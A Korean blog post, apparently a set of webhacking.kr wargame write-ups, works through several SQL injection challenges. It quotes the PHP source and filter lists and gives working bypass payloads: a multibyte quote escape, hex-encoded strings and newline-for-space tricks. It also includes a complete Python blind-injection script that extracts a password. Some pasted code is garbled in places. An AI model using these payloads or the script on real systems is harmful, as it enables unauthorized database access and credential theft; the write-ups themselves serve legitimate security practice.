<html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>
 



50번 문제와 비슷하다. 

2018/09/11 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ



이 문제도 id와 pw를 입력 받고 id 값을 mb_convert_encoding() 함수로 euc-kr -> utf-8 로 인코딩 방식을 변환했다.

mb_convert_encoding() 함수를 사용하면 %a1 ~ %fe 값이 백슬래시 앞에 오면 백슬래시를 먹어버린다. 

따라서 magic_quotes_gpc 또는 addslashes() 함수로 싱글쿼터를 이스케이프해도 우회할 수 있다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



SELECT id from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')


id와 pw를 입력받아 해당 값을 쿼리로 전달한다. 

근데 웃긴게 필터를 쿼리 이후에 하네? 어쨋든 필터 문자를 입력하면 exit() 를 호출하기 때문에 우회해야한다.


# $_GET[id] 필터 문자

admin

from

union

limit


# $_GETpw] 필터 문자

union

pw

=, <, >

from


쿼리 결과 레코드가 존재하면 "hi 아이디 값" 를 출력한다.

쿼리 결과 id 값이 admin이면 해결된다.



id 값에는 admin이 올 수 없기 때문에 pw에서 admin을 입력해준다. 이때, 주석(/**/)을 사용한다.


SELECT id from members WHERE id='rap1erX'/*' and pw=md5('*/ or id like 0x61646d696e# ')

id = rapier%a1'%2F*

pw = *%2For id like 0x61646d696e%23



SELECT id from members WHERE id='rapierX'/* ' and pw=md5('*/ or id like 0x61646d696e# ')

SELECT id from members WHERE id='rapierX' or id like 0x61646d696e#


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000exit();
?>
<!-- index.phps -->
 
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
 
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>
 
cs


mb_convert_encoding 함수는 문자 인코딩을 변환해준다.


mb_convert_encoding(string $str, string $to_encoing, $from_encoding);


ex)

/* Convert EUC-JP to UTF-7 */

$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");


$_GET[id] 값에 인코딩을 euc-kr -> utf-8로 변환한다.

그후 GET 메소드로 전달받은 값을 필터한다.


# 필터 문자


from

pw

(

)

공백

%

=

>

<

@


추가로 $_GET[id]에 union이 오면 필터.

SELECT lv from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')

쿼리 결과 lv=1 이면 level : 1 출력, lv=2 이면 level : 2출력

lv=3 이면 solve() 함수가 호출된다.


쿼리 결과 레코드가 없거나 문법 오류가 발생하면 Wrong을 출력한다.


SELECT * FROM tb id='$_GET[id]' and pw='$_GET[pw]' 쿼리를 통해 lv=3 레코드를 추출하면된다.

mb_convert_encoding 함수 취약점을 이용해 우회가 가능하다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



?id=rap1er%aa%27or%0alv%0alike%0a3%23 // rap1er' or lv like 3#

select lv from members where id='rap1er' or lv like 3#' and pw=md5('$_GET[pw]')

처음에 위와 같이 입력하여 보냈는데 왜 안되지? 생각하다가 lv like 3 대신 레코드가 몇개인지 궁금했다.

1=1 limit 0,1# // level : 1 출력

1=1 limit 2,1# // level : 1 출력

1=1 limit 5,1# // level : 1 출력

????.... 뭔가 이상했다


1=1 order by 1 asc   // level : 1 출력

1=1 order by 1 desc // level : 1 출력

이번에는 order by 로 해봤다. 레코드는 1개인 것 같다...?

근데 레코드가 1개이면 limit 5,1이 어떻게되지?


어쨌든 데이터베이스에 lv=3 레코드가 없는 것을 확인했다. union을 통해 만들 수 있다.
id 파라미터에 union이 필터링 돼 있고 pw에는 없으니까 pw를 통해 만들어보자.


select lv from members where id='rap1er'/* and pw=md5(*/ union select 3#)

?id=rap1er%aa%27/*&pw=*/union%0aselect%0a3%23



union 관련된 걸 입력하는 문제는 다 문제있는 것 같다. 

Not Acceptable.......짜증나
















<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

2009-11-13 20:00:00 

필터된 문자

union

from

select

or

and

(, )

limit

,

/

by

desc

asc

cash

공백

%09




SELECT id from members where lv=$_GET[lv]

id가 admin이면 된다. lv=1000 || id=0x61646d696e

공백은 %0a로 채워준다. lv=1000%0a||%0aid=0x61646d696e%23








<!--


hint


rank table

====================

ip ( = id )

score

**password** --> small letter

====================


-->



http://webhacking.kr/challenge/web/web-31/rank.php?score=-1%20or%201=1# 을 입력할 때 나오는 화면이다. 

즉, 참일 때 localhost 라는 텍스트가 출력되고 거짓일 땐 없다.

힌트에서 rank 테이블은 ip, score, password 3개 필드로 구성되었다고 주어졌다. 또한, 패스워드는 소문자?


score 파라미터 값에 따라 화면에 출력되는 id : // 값이 바뀌는 것을 보면 score를 이용하는 것이 분명하다.

추측하면 다음과 같다.


SELECT * FROM tb WHERE score=$_GET['score'] 


싱글쿼터를 삽입해도 에러가 발생하지 않는 것으로 보아 score는 싱글쿼터가 없는 숫자 값이다.


-1 or 1=1#

-1 or 1=2#


참/거짓 페이지를 이용한 블라인드 SQL 인젝션 공격으로 이번 문제를 풀어보자.

목록으로 랭커들을 출력하기 때문에 UNION SELECT 공격으로 시도했지만 UNION SELECT 모두 필터처리됨.


또한, 필터 함수를 확인해봤는데 블라인드 SQL 인젝션에 사용하는 내장함수를 대부분 필터했다.

대표적으로 substr, substring, mid, ascii, char... 다행히 length 함수는 필터안되어있다.


이 문제를 통해 substr이 필터되었을 때 left, right 함수를 사용해 우회가 가능하다는 것을 알게되었다.

ex) substr("abc",2,1); -> 'b' //  right(left("abc",2),1) 두 함수 결과는 같다.



문제 의도가 패스워드를 알아내는 것 같은데 칼럼을 알아야 인젝션을 시도할 수 있다.

어떻게 풀지 몰라서 검색한 결과 procedure analyse() 함수라는 것을 알게되었다.

본 함수는 테이블 각 칼럼에 대한 최적의 데이터 형식을 제공하거나 칼럼 정보를 출력하는 함수이다.




자세한 내용은 이전 게시물을 참조하면 됨.

2018/09/03 - [WEB Hacking/흔적] - [MySQL]SQL 인젝션 :: procedure analyse()

procedure analyse() 함수는 LIMIT 절에도 사용할 수 있으며 앞서 추측했던 SELECT 쿼리에도 적용가능하다.



SELECT id, score, password FROM tb WHERE score=-1 procedure analyse() 를 입력하면

id : webhacking.challenge55_game.ip 가 화면에 출력된다.



다른 필드 값을 구하기 위해 LIMIT 구를 사용한다.


score=-1%20limit%200,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.ip

score=-1%20limit%201,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.score

score=-1%20limit%202,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.pAsSw0RdzzzZ


왜 score 가 음수일 때만 필드 값이 나오는지 모르겠음 ㅡㅡ
아는분 있으면 댓글로 알려주세요..



rank 테이블은 ip, score, pAsSw0RdzzzZ 3개의 필드가 존재한다.

따라서 비밀번호를 블라인드 SQL 인젝션을 통해 구하면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import urllib2
import urllib
import re
 
TrueKeyword = "localhost"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'password'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
 
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
for i in xrange(1,100):
    injectParams = "score=-1 or length(pAsSw0RdzzzZ) like {} --".format(str(i)).replace(" ","%20")
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("localhost", data)
    if find:
        pwLen = i
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        if chr(j) == '%' or chr(j) == '_':
            continue
 
        injectParams = "score=-1 or right(left(pAsSw0RdzzzZ,"+str(i)+"),1) like "+str(hex(j))+" -- "
        injectParams = injectParams.replace(" ""%20")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("localhost", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs



원래 '='를 필터 하는 문제가 많아서 like로 아무 생각없이 코딩했다가 자꾸 %에서 참이 나오는 바람에 엄청 시간을 많이 소비했다.

LIKE는 % 또는 _ 를 문법으로 사용하기 때문에 LIKE로 블라인드 SQL 인젝션 스크립트 만들 때 주의해야함.


[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3e%20--%20->(>)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3f%20--%20->(?)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x40%20--%20->(@)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x41%20--%20->(A)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x42%20--%20->(B)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x43%20--%20->(C)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x44%20--%20->(D)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x45%20--%20->(E)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x46%20--%20->(F)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x47%20--%20->(G)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x48%20--%20->(H)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x49%20--%20->(I)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4a%20--%20->(J)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4b%20--%20->(K)              

####current password#### : CHALLENGE55CLEAR~~KK                                                   

CHALLENGE55CLEAR~~KK     

                                                          

<?


echo("<a href=index_lolll.phps>source</a>");


if(!$_GET[id]) $_GET[id]="guest";

echo("<html><head><title>Challenge 61</title></head><body>");


if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");

if(strlen($_GET[id])>18) exit("Access Denied");


$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));


echo("<b>$q[id]</b><br>");

if($q[id]=="admin") 

    @clear();


echo("</body></html>");


?>



필터문자

(, )

union

select

challenge

from

,

by

.


이러한 값이 전달되면 "Access Denied" 출력

마찬가지로 문자열 길이도 18 이상이면 "Access Denied"


[쿼리]

SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1



어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.


mysql> select 'admin' as no from member order by no;

+-------+

| no    |

+-------+

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

+-------+

10 rows in set (0.00 sec)


위 쿼리와 같은 방법으로 하면 해결할 수 있다.

member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.


이 쿼리 방식을 문제에 적용하면 아래와 같다.


SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면

모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다

하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.


challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id 

+ Recent posts